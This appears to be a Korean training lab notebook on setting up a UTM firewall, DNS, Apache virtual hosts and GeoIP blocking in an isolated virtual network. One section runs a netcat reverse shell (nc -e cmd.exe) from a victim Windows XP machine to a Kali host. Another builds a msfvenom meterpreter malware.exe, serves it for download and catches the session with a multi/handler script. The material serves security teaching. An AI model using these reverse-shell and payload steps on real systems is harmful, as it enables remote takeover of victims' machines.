        Autoconfiguration Enabled . . . . : Yes
        IP Address. . . . . . . . . . . . : 192.168.10.105
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253
        DHCP Server . . . . . . . . . . . : 192.168.10.253
        DNS Servers . . . . . . . . . . . : 192.168.10.253
        Lease Obtained. . . . . . . . . . : 2023년 4월 13일 목요일 오후 1:58:31
        Lease Expires . . . . . . . . . . : 2023년 4월 13일 목요일 오후 2:08:31


5. 라이브 로그 확인
Win XP가 DHCP로 네트워크 정보를 받아올 때 DHCP 라이브 로그에는 아래처럼 로그가 기록된다.

[Network Services] > [DHCP] > [Open Live Log]

Live Log: DHCP server 
2023:04:13-12:39:10 utm9 dhcpd: PID file: /var/run/dhcpd.pid
2023:04:13-12:39:10 utm9 dhcpd: Internet Systems Consortium DHCP Server 4.3.3-P1
2023:04:13-12:39:10 utm9 dhcpd: Copyright 2004-2016 Internet Systems Consortium.
2023:04:13-12:39:10 utm9 dhcpd: All rights reserved.
2023:04:13-12:39:10 utm9 dhcpd: For info, please visit https://www.isc.org/software/dhcp/
2023:04:13-12:39:10 utm9 dhcpd: Wrote 0 leases to leases file.
2023:04:13-12:39:10 utm9 dhcpd: Listening on LPF/eth1/00:0c:29:7e:8e:6a/192.168.10.0/24
2023:04:13-12:39:10 utm9 dhcpd: Sending on LPF/eth1/00:0c:29:7e:8e:6a/192.168.10.0/24
2023:04:13-12:39:10 utm9 dhcpd: Sending on Socket/fallback/fallback-net
2023:04:13-12:39:10 utm9 dhcpd: Server starting service.
2023:04:13-12:43:05 utm9 dhcpd: DHCPDISCOVER from 00:0c:29:fb:2e:e9 via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPOFFER on 192.168.10.105 to 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPREQUEST for 192.168.10.105 (192.168.10.253) from 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:06 utm9 dhcpd: DHCPACK on 192.168.10.105 to 00:0c:29:fb:2e:e9 (victim_winxp) via eth1
2023:04:13-12:43:08 utm9 dhcpd: reuse_lease: lease age 2 (secs) under 25% threshold, reply with unaltered, existing lease

6. Windows XP 통신 설정
UTM 장비에서 Windows XP 외부와 통신이 될 수 있도록 설정한다.

내부망 WinXP 통신 연결: Disabled

Clone 을 클릭해서 복사한다.
Add Rule	
Group: :: Please select ::
Position: 3
Sources: Internal (Network)
Services: Any
Destinations: Any
Action:	Allow
Comment: 내부망 통신 연결
Advanced		
Time period: << Always >>
Log traffic: X			
Source MAC addresses: :: None ::

저장한 후 Enabled로  설정하고 통신 연결을 확인한다.

C:\>ping 8.8.8.8

Pinging 8.8.8.8 with 32 bytes of data:

Reply from 8.8.8.8: bytes=32 time=49ms TTL=127
Reply from 8.8.8.8: bytes=32 time=50ms TTL=127
Reply from 8.8.8.8: bytes=32 time=48ms TTL=127
Reply from 8.8.8.8: bytes=32 time=50ms TTL=127

Ping statistics for 8.8.8.8:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 48ms, Maximum = 50ms, Average = 49ms

C:\>nslookup naver.com
*** Can't find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Server:  UnKnown
Address:  192.168.10.253

Non-authoritative answer:
Name:    naver.com
Addresses:  223.130.195.200, 223.130.200.107, 223.130.195.95, 223.130.200.104

7. 복원
테스트가 잘 되었다면 원래대로 IP주소를 설정한다.
Internal WinxP를 아래와 같이 설정한다.
VMnet: VMnet1
IP주소: 192.168.10.105
서브넷마스크: 255.255.255.0
게이트웨이: 192.168.10.253
DNS: 192.168.10.253

실습> 도메인 추가 설정하기

server1.kr ~ server4.kr 까지 UTM 네임서버에서 등록한다.

1. DNS 서버 등록
DNS서버의 허용할 네트워크나 호스트를 추가한다.

[Network Services] > [DNS] > [Global]

Allowed Networks
- Internal (Network)
- DMZ(Network)

내부망의 호스트와 DMZ의 WEB#1의 DNS서버를 아래처럼 변경한다.
Win7 or WinXP: 192.168.10.253 
WEB#1: 172.16.10.253 

2. 도메인 등록
도메인을 아래처럼 등록한다.
도메인 등록 : 
server1.kr, www.server1.kr server2.kr, www.server2.kr, server3.kr, www.server3.kr, server4.kr, www.server4.kr  

[Network Services] > [DNS] > [Static Entries] > [Static Entries] 버튼을 클릭하면

[Definitions & Users] > [Network Definitions] 메뉴로 이동한다.

[Definitions & Users] > [Network Definitions] 메뉴로 직접 이동해서 IP Desc 로 검색하거나

검색 부분에서 All 로 선택한다.

WEB#1 부분에 Edit 버튼을 클릭한다.
WEB#1 -> Edit 

Edit Network Definition	
Name: WEB#1
Type: Host
IPv4 address: 172.16.10.101
DHCP Settings: x		
DNS Settings:
    - Hostname: server1.kr
    - Reverse DNS: 체크 안함
    - Additional Hostnames:
      - www.server1.kr   Apply 버튼을 클릭한다.
      - server2.kr       Apply 버튼을 클릭한다.
      - www.server2.kr   Apply 버튼을 클릭한다.
      - server3.kr       Apply 버튼을 클릭한다.
      - www.server3.kr   Apply 버튼을 클릭한다.
      - server4.kr       Apply 버튼을 클릭한다.
      - www.server4.kr   Apply 버튼을 클릭한다.

Comment: DMZ 웹서버#1
Advanced: 체크 안함

Save 버튼을 클릭해서 설정한 내용을 저장한다.

3. 도메인 확인
Win7, WinXP, WEB#1에서 도메인을 확인한다.

Windows XP에서 도메인을 확인한다.
C:\>nslookup
*** Can't find server name for address 192.168.10.253: Non-existent domain
*** Default servers are not available
Default Server:  UnKnown
Address:  192.168.10.253

> server1.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server1.kr
Address:  172.16.10.101

> www.server1.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server1.kr
Address:  172.16.10.101

> server2.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server2.kr
Address:  172.16.10.101

> www.server2.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server2.kr
Address:  172.16.10.101

> server3.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server3.kr
Address:  172.16.10.101

> www.server3.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server3.kr
Address:  172.16.10.101

> server4.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    server4.kr
Address:  172.16.10.101

> www.server4.kr
Server:  UnKnown
Address:  192.168.10.253

Name:    www.server4.kr
Address:  172.16.10.101

등록된 도메인이 아니므로 에러가 발생한다.
> server5.kr
Server:  UnKnown
Address:  192.168.10.253

*** UnKnown can't find server5.kr: Non-existent domain

등록된 도메인이 아니므로 에러가 발생한다.
> server6.kr
Server:  UnKnown
Address:  192.168.10.253

*** UnKnown can't find server6.kr: Non-existent domain

> exit

리눅스에서 도메인을 확인한다.
[root@web1 ~]# for i in 1 2 3 4
do 
    echo dig server${i}.kr www.server${i}.kr +short
    dig server${i}.kr www.server${i}.kr +short
    echo
done
dig server1.kr www.server1.kr +short
172.16.10.101
172.16.10.101

dig server2.kr www.server2.kr +short
172.16.10.101
172.16.10.101

dig server3.kr www.server3.kr +short
172.16.10.101
172.16.10.101

dig server4.kr www.server4.kr +short
172.16.10.101
172.16.10.101

실습> DMZ WEB#1 서버의 가상 호스트 설정

웹서버: 아파치

***** 실습> 도메인 추가 설정하기를 설정한 후 실습을 진행한다. *****
***** server1.kr ~ server4.kr 까지 UTM 네임서버에서 등록한다. *****

System 사용자 설정
User     Passwd    Group   WebDIR                      DirPerm  WebPage     FilePerm  contents
server1  P@ssw0rd  users   /home/server1/public_html   701      index.html  644       Welcome to www.server1.kr!
server2  P@ssw0rd  users   /home/server2/public_html   701      index.html  644       Welcome to www.server2.kr!
server3  P@ssw0rd  users   /home/server3/public_html   701      index.html  644       Welcome to www.server3.kr!
server4  P@ssw0rd  users   /home/server4/public_html   701      index.html  644       Welcome to www.server4.kr!

DBMS 사용자 설정 (MariaDB)
User     Passwd    Database
server1  P@ssw0rd  Server1DB
server2  P@ssw0rd  Server2DB
server3  P@ssw0rd  Server3DB
server4  P@ssw0rd  Server4DB

1. APM 설치
[root@web1 ~]# yum -y install httpd php php-mysql mariadb mariadb-server \
  php-gd gd gd-devel libjpeg libjpeg-devel giflib giflib-devel libpng libpng-devel freetype freetype-devel
[root@web1 ~]# systemctl enable httpd
[root@web1 ~]# systemctl enable mariadb

[root@web1 ~]# vi /etc/httpd/conf.d/php.conf 
<FilesMatch \.(php|html)$>
    SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex index.php 

[root@web1 ~]# vi /etc/php.ini 
date.timezone = Asia/Seoul  <-- 878번 라인
short_open_tag = On         <-- 211번 라인
expose_php = Off            <-- 375번 라인
display_errors = Off        <-- 478번 라인

[root@web1 ~]# systemctl restart httpd

[root@web1 ~]# vi /etc/my.cnf
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
symbolic-links=0
collation-server=utf8_general_ci
character-set-server=utf8
skip-character-set-client-handshake
bind-address=127.0.0.1

[root@web1 ~]# systemctl start mariadb

[root@web1 ~]# mysqladmin -u root -p password 
Enter password:  <-- 현재 비밀번호가 없으므로 그냥 엔터 
New password:    <-- P@ssw0rd
Confirm new password:  <-- P@ssw0rd

[root@web1 ~]# cd
[root@web1 ~]# vi .my.cnf
[client]
host = localhost
user = root
password = P@ssw0rd

2. DB 설정

[root@web1 ~]# mysql mysql

DELETE FROM user WHERE password = '';
flush privileges;

CREATE DATABASE server1DB;
CREATE USER server1@localhost IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON server1DB.* TO server1@localhost;

CREATE DATABASE server2DB;
CREATE USER server2@localhost IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON server2DB.* TO server2@localhost;

CREATE DATABASE server3DB;
CREATE USER server3@localhost IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON server3DB.* TO server3@localhost;

CREATE DATABASE server4DB;
CREATE USER server4@localhost IDENTIFIED BY 'P@ssw0rd';
GRANT ALL PRIVILEGES ON server4DB.* TO server4@localhost;

SELECT host,user,password FROM user;
SHOW DATABASES;


3. 시스템 사용자 설정
[root@web1 ~]# mkdir -m 701 /etc/skel/public_html
[root@web1 ~]# for i in `seq 1 4`
do
    echo useradd -g users server${i}
    useradd -g users server${i}
    echo 'P@ssw0rd' | passwd --stdin server${i}
done


4. 디렉터리 권한 변경
웹 사용자인 apache는 사용자 디렉터리에 접근할 수 있고 각 사용자는 자신의 디렉터리 이외에 
다른 디렉터리에는 접근할 수 없도록 설정한다.
[root@web1 ~]# chmod -c o+x /home/server[1-4]

[root@web1 ~]# ls -ld /home/server[1-4]
drwx-----x. 3 server1 users 81  2월 26 21:04 /home/server1
drwx-----x. 3 server2 users 81  2월 26 21:04 /home/server2
drwx-----x. 3 server3 users 81  2월 26 21:04 /home/server3
drwx-----x. 3 server4 users 81  2월 26 21:04 /home/server4

5. 웹페이지 생성
su - server1 -c 'echo Welcome to www.server1.kr! > ~server1/public_html/index.html'
su - server2 -c 'echo Welcome to www.server2.kr! > ~server2/public_html/index.html'
su - server3 -c 'echo Welcome to www.server3.kr! > ~server3/public_html/index.html'
su - server4 -c 'echo Welcome to www.server4.kr! > ~server4/public_html/index.html'
ls -l /home/server[1-4]/public_html/index.html
-rw-r--r--. 1 server1 users 26 10월  5 11:38 /home/server1/public_html/index.html
-rw-r--r--. 1 server2 users 26 10월  5 11:38 /home/server2/public_html/index.html
-rw-r--r--. 1 server3 users 26 10월  5 11:38 /home/server3/public_html/index.html
-rw-r--r--. 1 server4 users 26 10월  5 11:38 /home/server4/public_html/index.html

6. SELinux 설정
[root@web1 ~]# chcon -Rt httpd_sys_content_t /home/server[1-4]/public_html 

7. 가상호스트 설정
[root@web1 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

<VirtualHost *:80>
    ServerAdmin   webmaster@server1.kr
    DocumentRoot  /home/server1/public_html
    ServerName    server1.kr 
    ServerAlias   www.server1.kr 
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin   webmaster@server2.kr
    DocumentRoot  /home/server2/public_html
    ServerName    server2.kr
    ServerAlias   www.server2.kr
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin   webmaster@server3.kr
    DocumentRoot  /home/server3/public_html
    ServerName    server3.kr
    ServerAlias   www.server3.kr
</VirtualHost>

<VirtualHost *:80>
    ServerAdmin   webmaster@server4.kr
    DocumentRoot  /home/server4/public_html
    ServerName    server4.kr
    ServerAlias   www.server4.kr
</VirtualHost>

[root@web1 ~]# httpd -t
[root@web1 ~]# httpd -S
[root@web1 ~]# systemctl restart httpd

8. 도메인 확인
Win7, WinXP, WEB#1에서 도메인을 확인한다.
[root@web1 ~]# yum -y install lynx

[root@web1 ~]# getenforce 
Enforcing

[root@web1 ~]# for i in `seq 4`
do
    echo lynx --dump server${i}.kr
    lynx --dump server${i}.kr
    echo lynx --dump www.server${i}.kr
    lynx --dump www.server${i}.kr

done
lynx --dump server1.kr
   Welcome to www.server1.kr!

lynx --dump www.server1.kr
   Welcome to www.server1.kr!

lynx --dump server2.kr
   Welcome to www.server2.kr!

lynx --dump www.server2.kr
   Welcome to www.server2.kr!

lynx --dump server3.kr
   Welcome to www.server3.kr!

lynx --dump www.server3.kr
   Welcome to www.server3.kr!

lynx --dump server4.kr
   Welcome to www.server4.kr!

lynx --dump www.server4.kr
   Welcome to www.server4.kr!


Windows XP에서 동일하게 접속해서 페이지가 잘 나오는지 확인한다.
http://server1.kr
Welcome to www.server1.kr!

http://www.server1.kr
Welcome to www.server1.kr!

http://server2.kr
Welcome to www.server2.kr!

http://www.server2.kr
Welcome to www.server2.kr!

http://server3.kr
Welcome to www.server3.kr!

http://www.server3.kr
Welcome to www.server3.kr!

http://server4.kr
Welcome to www.server4.kr!

http://www.server4.kr
Welcome to www.server4.kr!

실습> Internal 연결 테스트

1. UTM 설정
SNAT를 설정한 후에 테스트를 진행한다.

2. nc.exe 다운로드
[root@kali ~]# cp /usr/share/windows-binaries/nc.exe /var/www/html/
[root@kali ~]# systemctl start apache2

Windows XP에서 다운로드 받고 바탕화면에 저장한다.
http://200.200.200.3/nc.exe 

3. nc 접속
Internal Windows XP에서 80번 포트로 접속을 시도하면 ???
[root@kali ~]# systemctl stop apache2
[root@kali ~]# nc -lvp 80
listening on [any] 80 ...

Windows XP에서 nc를 아래처럼 실행한다.
cmd line: 200.200.200.3 80 -e cmd.exe

[root@kali ~]# nc -lvp 80
listening on [any] 80 ...
200.200.200.200: inverse host lookup failed: Unknown host
connect to [200.200.200.3] from (UNKNOWN) [200.200.200.200] 1167
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면>dir
dir
 C 드라이브의 볼륨에는 이름이 없습니다.
 볼륨 일련 번호: 588F-741A

 C:\Documents and Settings\ksw\바탕 화면 디렉터리

2022-10-05  오후 09:44    <DIR>          .
2022-10-05  오후 09:44    <DIR>          ..
2016-03-22  오후 02:30             2,423 adrenalin.m3u
2016-03-22  오후 02:33             2,405 adrenalin2.m3u
2016-03-28  오후 07:19           123,197 calc_download.pcap
2022-10-05  오후 09:44            59,392 nc.exe
2016-03-28  오후 07:11    <DIR>          SysinternalsSuite
2016-03-28  오후 07:04             1,477 Wireshark.lnk
2016-03-28  오후 06:50             1,535 아드레날린.lnk
               6개 파일             190,429 바이트
               3개 디렉터리   7,718,817,792 바이트 남음


C:\Documents and Settings\ksw\바탕 화면>exit

실습> msfvenom 을 이용한 악성코드 작성하기

metasploit의 windows/meterpreter/reverse_tcp payload는 reverse connection 을 기반으로 하고 있다.
malware.exe를 실행하면 Victim이 Attacker로 접속하고 meterpreter 쉘이 실행되는 공격 형태이다.

윈도우 버전
                +-- meterpreter shell
                |
  Attacker      |    UTM      Victim
+----------+    v    +--+   +----------+
|          |  +===+  |  |   |          |
|          |  |   |  |  |   |          |
|   4444 ---->| M |<-+--+----- 1017 [malware.exe]
|          |  |   |  |  |   |          |
|          |  +===+  |  |   |          |
+----------+         +--+   +----------+
200.200.200.3                192.168.10.105
                          firewall.cpl 활성화

UTM 설정: 
  Internal (Network) ----> Any
    DNS, Web Surfing만 허용

-- 실습 순서 --
1. Victim 방화벽 활성화
2. 웹서버 시작
3. 악성 실행파일 생성
4. 공격 대기
5. 악성코드 실행
6. Victim 장악
-- 실습 순서 --

1. Victim 방화벽 활성화
방화벽의 Inbound 쪽의 방화벽 룰을 설정한다.
설정 방법 : cmd -> firewall.cpl -> 사용으로 체크를 한다.


2. 웹서버 시작
피해자가 악성코드를 다운로드 받기 위해서 웹서버를 실행한다.
[root@kali ~]# /etc/init.d/apache2 start

3. 악성 실행파일 생성
자신의 IP주소를 확인하고 악성파일을 생성한다.

[root@kali ~]# ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 200.200.200.3  netmask 255.255.255.0  broadcast 200.200.200.255
        inet6 fe80::290a:b024:cc09:d56d  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:dc:0b:b6  txqueuelen 1000  (Ethernet)
        RX packets 294315  bytes 20661226 (19.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 293934  bytes 25076026 (23.9 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

msfvenom 옵션
lhost : 공격자 IP주소
lport : 공격자 포트번호
-f    : 실행파일 형식
-o    : 악성파일 경로
-p    : 공격 페이로드

[root@kali ~]# vi malware.sh 
#!/bin/sh
# 파일명: malware.sh
# 프로그램 설명: malware.exe를 이용한 공격코드
# 작성자: 리눅스마스터넷

LHOST=200.200.200.3
LPORT=80

msfvenom -p windows/meterpreter/reverse_tcp \
lhost=$LHOST lport=$LPORT -f exe -o /var/www/html/malware.exe

[root@kali ~]# chmod 755 malware.sh
[root@kali ~]# ./malware.sh 
  :
  :(생략)

Final size of exe file: 73802 bytes
Saved as: /var/www/html/malware.exe


4. 악성코드 실행
Victim에서 악성코드를 다운로드만 받는다.
여기서는 실제 악성코드를 다운로드 받아서 실행하지만 시나리오 기반으로 생각한다면
메일 보내서 피해자를 유인할 수 있고 여러가지 다양한 방법을 생각할 수 있을 것이다.

http://200.200.200.3/malware.exe

5. 공격 대기
공격자는 공격 모듈을 선택하고 포트를 오픈한 후 피해자가 연결되기를 기다린다.

[root@kali ~]# /etc/init.d/apache2 stop

Victim XP가 malware.exe 실행할 때 접속할 수 있도록 설정을 하고 실행한다.
[root@kali ~]# vi malware.rc
info multi/handler
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
show options
set lhost 200.200.200.3
set lport 80
exploit

malware.rc 를 실행해서 피해자가 접속해오길 기다린다.
[root@kali ~]# msfconsole -r malware.rc 

6. 악성코드 실행
Victim 에서 악성코드를 다운로드 받아서 실행하면 공격자의 msfconsole에 메세지가 나타나고  
Victime으로 reverse connection으로 연결하고 상태를 확인할 수 있다.

실제로 웹에 사용하는 데이터를 체크하는 것이 아니고 80번 포트이면 허용하는 것이므로 이 부분을 생각해야 한다.

[*] Started reverse TCP handler on 200.200.200.3:80
[*] Sending stage (175686 bytes) to 200.200.200.105
[*] Meterpreter session 1 opened (200.200.200.3:80 -> 200.200.200.105:1104) at 2023-04-13 02:33:04 -0400

meterpreter > sysinfo 
Computer        : VICTIM_WINXP
OS              : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture    : x86
System Language : ko_KR
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > shell
Process 196 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\ksw\바탕 화면>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 192.168.10.100
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.10.253

C:\Documents and Settings\ksw\바탕 화면>exit
meterpreter > exit
msf6 exploit(multi/handler) > exit

실습> 국가별 접근 차단

[Network Protection] > [Firewall] > [Country Blocking Tab] > [기능 활성화] > [필터링 할 국가 정책 설정] > save

[Rules] > [Open Live Log] 를 이용해서 로그를 모니터링한다.

All: 양 방향 차단
From: 해당 국가 IP에서 전달되는 패킷 차단
To: 해당 국가 IP로 전달되는 패킷 차단
Off: 차단하지 않음

South America에서 Brazil을 ALL로 설정한다. 

Apply 버튼을 클릭해서 활성화 한다.

웹서버를 시작한다.
[root@kali ~]# systemctl start apache2

WindowsXP에서 웹브라우저를 열어서 접속한다.
http://200.200.200.3

페이지를 표시할 수 없습니다. 
찾고 있는 페이지는 현재 사용할 수 없습니다. 웹 사이트에 기술적인 문제가 있거나 브라우저의 설정을 변경해야 합니다. 

200.200.200.3이 접속하면 차단되는 이유는 200.200.200.x 는 브라질 IP주소이기 때문에 블로킹된 것이다.

Host OS에서 크롬에서 접속한다.
http://200.200.200.11
사이트에 연결할 수 없음200.200.200.101에서 응답하는 데 시간이 너무 오래 걸립니다.
다음 방법을 시도해 보세요.

연결 확인
프록시 및 방화벽 확인
Windows 네트워크 진단 프로그램 실행
ERR_CONNECTION_TIMED_OUT


Open Live Log에서 확인한 로그 
15:42:45	Country blocked	TCP	 	192.168.10.105	:	1106 →	200.200.200.3	:	80 [SYN]	len=48	ttl=127	tos=0x00	srcmac=00:0c:29:fb:2e:e9	dstmac=00:0c:29:7e:8e:6a
15:42:48	Country blocked	TCP	 	192.168.10.105	:	1106 →	200.200.200.3	:	80 [SYN]	len=48	ttl=127	tos=0x00	srcmac=00:0c:29:fb:2e:e9	dstmac=00:0c:29:7e:8e:6a
15:42:54	Country blocked	TCP	 	192.168.10.105	:	1106 →	200.200.200.3	:	80 [SYN]	len=48	ttl=127	tos=0x00	srcmac=00:0c:29:fb:2e:e9	dstmac=00:0c:29:7e:8e:6a 
15:44:58	Country blocked	TCP	 	200.200.200.1	:	8634 →	172.16.10.101	:	80 [SYN]	len=52	ttl=127	tos=0x00	srcmac=00:50:56:c0:00:08	dstmac=00:0c:29:7e:8e:60 
15:44:58	Country blocked	TCP	 	200.200.200.1	:	8635 →	172.16.10.101	:	80 [SYN]	len=52	ttl=127	tos=0x00	srcmac=00:50:56:c0:00:08	dstmac=00:0c:29:7e:8e:60
  :
  :(생략)

실습> CentOS 7에서 GEOIP 설치하기

>>> 국가별 IP주소 (GEOIP) <<<
참고로 리눅스에서 국가별 IP 대역을 차단하고자 한다면 GeoIP 검색해서 서버에 설치한다.

설치할 때 2가지 체크를 확인한다.
- 네임서버 설정
- 국가별 차단 Disabled

[root@web1 ~]# yum -y install epel-release
[root@web1 ~]# yum -y install GeoIP GeoIP-data perl-Geo-IP GeoIP-devel


[root@web1 ~]# ls /usr/lib64/xtables/ | grep -i geoip
  <-- geoip 관련 모듈이 존재하지 않으므로 아무것도 출력되지 않는다.

geoip 모듈을 이용한 방화벽 룰을 설정하면 geoip 모듈이 없으므로 에러가 발생된다.
[root@web1 ~]# iptables -A INPUT -m geoip --src-cc KR -j DROP
iptables v1.4.21: Couldn't load match `geoip':No such file or directory

Try `iptables -h' or 'iptables --help' for more information.


1. 패키지 설치
# yum -y install gcc gcc-c++ make automake unzip zip xz kernel-devel-`uname -r` iptables-devel
# yum -y install perl-Text-CSV_XS wget bzip2 libelf-dev elfutils-libelf-devel

***** 아래쪽 링크를 깨짐 ****
# wget --no-check-certificate \
https://jaist.dl.sourceforge.net/project/xtables-addons/Xtables-addons/xtables-addons-2.14.tar.xz
# tar xvf xtables-addons-2.14.tar.xz
***** 아래쪽 링크를 깨짐 ****

[root@web1 ~]# wget --no-check-certificate https://inai.de/files/xtables-addons/xtables-addons-2.14.tar.xz
[root@web1 ~]# tar xJf xtables-addons-2.14.tar.xz
[root@web1 ~]# cd xtables-addons-2.14
[root@web1 xtables-addons-2.14]# ./configure
[root@web1 xtables-addons-2.14]# vi mconfig
#build_TARPIT=m  // 주석처리 한다.

2. 모듈 설치
컴파일한 후 모듈을 설치한다.
[root@web1 xtables-addons-2.14]# make &&  make install
[root@web1 xtables-addons-2.14]# ls -l /lib64/xtables/ | grep geoip
-rwxr-xr-x. 1 root root 31680  4월 13 16:24 libxt_geoip.so

GeoIPv6.csv.gz를 참고 사이트에서 직접 다운로드 한다.
[root@web1 xtables-addons-2.14]# cd geoip/
[root@web1 geoip]# wget https://files-cdn.liferay.com/mirrors/geolite.maxmind.com/download/geoip/database/GeoIPv6.csv.gz

GeoIPCountryCSV.zip를 참고 사이트에서 직접 다운로드 한다.
[root@web1 geoip]# wget https://files-cdn.liferay.com/mirrors/geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip

[root@web1 geoip]# gzip -d GeoIPv6.csv.gz
[root@web1 geoip]# unzip GeoIPCountryCSV.zip
[root@web1 geoip]# ./xt_geoip_build GeoIPCountryWhois.csv
[root@web1 geoip]# mkdir -p /usr/share/xt_geoip/
[root@web1 geoip]# cp -r {BE,LE} /usr/share/xt_geoip/
[root@web1 geoip]# ls /usr/lib64/xtables/ | grep -i geoip
libxt_geoip.so

3. iptables 룰 설정
[root@web1 geoip]# iptables -F
[root@web1 geoip]# iptables -A INPUT -m geoip --src-cc BR -j ACCEPT
[root@web1 geoip]# iptables -A INPUT -m geoip --src-cc KR -j DROP
[root@web1 geoip]# iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target     prot opt source               destination
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country BR
DROP       all  --  0.0.0.0/0            0.0.0.0/0            -m geoip --source-country KR


커널에 올라간 geoip 모듈을 확인한다.
[root@web1 geoip]# lsmod | grep geoip
xt_geoip               12775  2

실습> UTM에서 geoip 모듈 확인

utm9:/root # ls /usr/lib/xtables/libxt_geo*
/usr/lib/xtables/libxt_geoip.so


Country blocking enabled 로 설정하고 ALL로 설정하면 iptables 방화벽룰이 올라온다.
utm9:/root # iptables-save > iptables.txt
utm9:/root # vi iptables.txt 

utm9:/root # grep -i geoip iptables.txt
:GEOIP_DROP - [0:0]
:GEOIP_FORWARD - [0:0]
:GEOIP_IN - [0:0]
-A INPUT ! -i lo -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_IN
-A FORWARD -m conntrack --ctstate INVALID,NEW,RELATED -j GEOIP_FORWARD
-A GEOIP_DROP -m limit --limit 1/sec -m logmark --logmark 60019  -j NFLOG --nflog-prefix  "GEOIP_DROP: "
-A GEOIP_DROP -j DROP
-A GEOIP_FORWARD -m geoip --source-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country PN,AU,DZ,LB,CR,NO,CC,TD,TW,KM,SR,MQ,TJ,EC,BS  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BT,PS,ZW,TM,LI,GD,VC,BB,CZ,ZA,SL,ME,CX,SY,AO  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country MT,MG,NP,IM,NR,PG,ST,AW,SZ,KZ,AM,JE,AF,GL,HT  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country VU,MW,QA,TN,PE,SV,BZ,VE,YT,NC,PL,ID,LR,CF,YE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country FJ,GS,GU,US,DE,SB,UA,SO,CH,CU,IN,WF,GG,MU,LC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country UG,NL,IQ,GR,BO,SI,TO,ER,GQ,PY,CL,AR,BE,DO,TZ  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country SA,PW,IS,ET,BG,LT,RO,DM,PR,TK,PT,TG,MD,MY,NG  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country LV,SK,FO,AD,AT,TH,KY,EG,MR,IR,VN,GE,CN,GB,GI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country AG,DK,PA,BI,JP,MN,KG,FM,NE,BL,CD,AX,SM,OM,AL  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country BN,GT,TV,ZM,IE,SE,GM,ES,AE,AQ,UM,MZ,GW,GA,NI  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country VG,FK,KW,BJ,VA,VI,AZ,TF,LY,SC,PF,BA,HN,MM,SH  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country MA,GY,AS,PK,CG,KE,KP,BY,IO,UY,MF,HU,LS,KI,SD  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country IL,MK,TC,RS,KN,BW,TL,SG,WS,NZ,MS,PM,CI,CV,MP  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --source-country CY,RE  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country FI,LU,TT,KH,HK,DJ,LA,JO,IT,HR,LK,CO,BF,MX,SN  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country BR,GP,GH,EE,CA,MV,BM,BD,CM,NF,GF,MO,JM,SJ,MC  -j GEOIP_DROP
-A GEOIP_FORWARD -m geoip --destination-country CK,TR,NU,FR,NA,ML,GN,PH,BH,RU,AI,MH,UZ,KR,RW  -j GEOIP_DROP
